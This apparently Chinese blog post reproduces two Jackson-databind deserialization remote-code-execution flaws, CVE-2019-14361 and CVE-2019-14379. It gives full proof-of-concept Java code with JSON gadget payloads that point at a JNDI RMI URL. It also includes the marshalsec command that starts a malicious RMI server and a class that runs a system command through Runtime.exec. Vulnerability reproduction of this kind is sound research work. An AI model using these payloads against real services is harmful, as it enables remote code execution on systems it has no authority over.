CVE-2019-14361 与 CVE-2019-14379 漏洞复现

发布于 2024-07-02 12:45:59 字数 5185 浏览 9 评论 0

7 月 30 日晚收到了推送,得知 Jackson-databind 又出了新的 RCE ,又有大佬找到了新的利用方式。

漏洞分析

根据 Jackson 开发者的 issue ,触发这个 Jackson 漏洞需要满足如下要求,

目标应用接收到不可信客户端发送的 JSON 数据 目标应用使用多态类型处理方式来处理 java.lang.Object 类型的属性; 在该漏洞中就是依赖的第三方 jar 包有点多(感觉在实际利用过程中能遇到这些个库也挺巧的)

环境搭建

本文中用到的第三方库有: jackson-annotations-2.9.8 jackson-core-2.9.8 jackson-databind-2.9.8 ehcache-2.9.1 slf4j-api-1.7.7 logback-core-1.3.0-alpha4 slf4j-simple-1.7.21 javax.transaction_1.0.0.0_1-1

http://www.mvnrepository.com 上下载即可。

漏洞代码

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import java.lang.Exception;

public class Main {

    public static void main(String[] args) {
       
        System.out.println("Mapping");
        // 注意,在高版本的 JDK 上存在限制,需要将 com.sun.jndi.rmi.object.trustURLCodebase 的值设置为 true,默认为 false
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        // CVE-2019-14361 payload
        String jsonStr1 = "[\"ch.qos.logback.core.db.JNDIConnectionSource\", {\"jndiLocation\":\"rmi://127.0.0.1:1099/ExportObject\"}]";
        // CVE-2019-14379 payload
        String jsonStr2 = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":{\"jndiName\":\"rmi://127.0.0.1:1099/ExportObject\"}}]";

        ObjectMapper mapper = new ObjectMapper();

        mapper.enableDefaultTyping();

        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);

        System.out.println("Serializing");

        Object obj = null;

        try {
            // !->此处更换 payload<-!
            obj = mapper.readValue(jsonStr1, java.lang.Object.class);
        } catch(Exception e) {
            e.printStackTrace();
        }

        System.out.println("objectified");

        try {
            mapper.writeValueAsString(obj);
        } catch(Exception e) {
            e.printStackTrace();
        }
        try {
            System.out.println("stringified: " + mapper.writeValueAsString(obj));
        } catch(Exception e)
        {
            e.printStackTrace();
        }

    }
}

构建步骤

本文在 IDEA 上生成项目

  1. 新建 java Commandline 项目
  2. 将上述代码复制进 Main 函数
  3. 单击红框中的图标,进入项目结构设置
  4. 将下载好的外部库导入到项目中 具体导入步骤可以参考我的这篇文章,再此不做赘述 https://www.secquan.org/BugWarning/1069944

攻击流程

  1. 开启 RMI 服务 为了方便,我们可以使用 marshalsec 这款神器,可以快速开启 RMI 和 LDAP 服务。当然你需要下载源码包,使用 maven 编译。下载链接: https://github.com/mbechler/marshalsec ,下载到本地后,利用 mvn clean package -DskipTests 即可编译,编译的结果如下:

开启 RMI 服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:8000/#ExportObject

注: :# 后面填写你的恶意类的类名,它会自动绑定 URI,rmi 默认端口号为 1099 。

  1. 编译 ExportObject.java

ExportObject.java 代码内容如下:

package com.by.rmi;

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class ExportObject {
    public ExportObject() throws Exception {
        Process proc = Runtime.getRuntime().exec("open /Applications/Calculator.app");
        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        StringBuffer sb = new StringBuffer();

        String line;
        while((line = br.readLine()) != null) {
            sb.append(line).append("\n");
        }

        String result = sb.toString();
        Exception e = new Exception(result);
        throw e;
    }

    public static void main(String[] args) throws Exception {
        ExportObject e = new ExportObject();
    }
}

:上述代码的功能为在 mac 平台上弹出计算器,如更换平台,请自行更换 exec 函数中的内容。

编译成 class 文件: javac ExportObject.java

  1. 在生成 ExportObject.class 文件夹下执行 python2 -m SimpleHTTPServer 8000,在本地启动 HTTP 服务。

CVE-2019-14361 测试

将 POC 中的 payload 更换为 jsonStr1,并编译运行,结果如下:

CVE-2019-14379 测试

将 POC 中的 payload 更换为 jsonStr2,并编译运行,结果如下:

相应的,rmi 服务运行的截图如下:

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

打小就很酷

暂无简介

0 文章
0 评论
21 人气
更多

推荐作者

花开柳相依

文章 0 评论 0

zyhello

文章 0 评论 0

故友

文章 0 评论 0

对风讲故事

文章 0 评论 0

Oo萌小芽oO

文章 0 评论 0

梦明

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文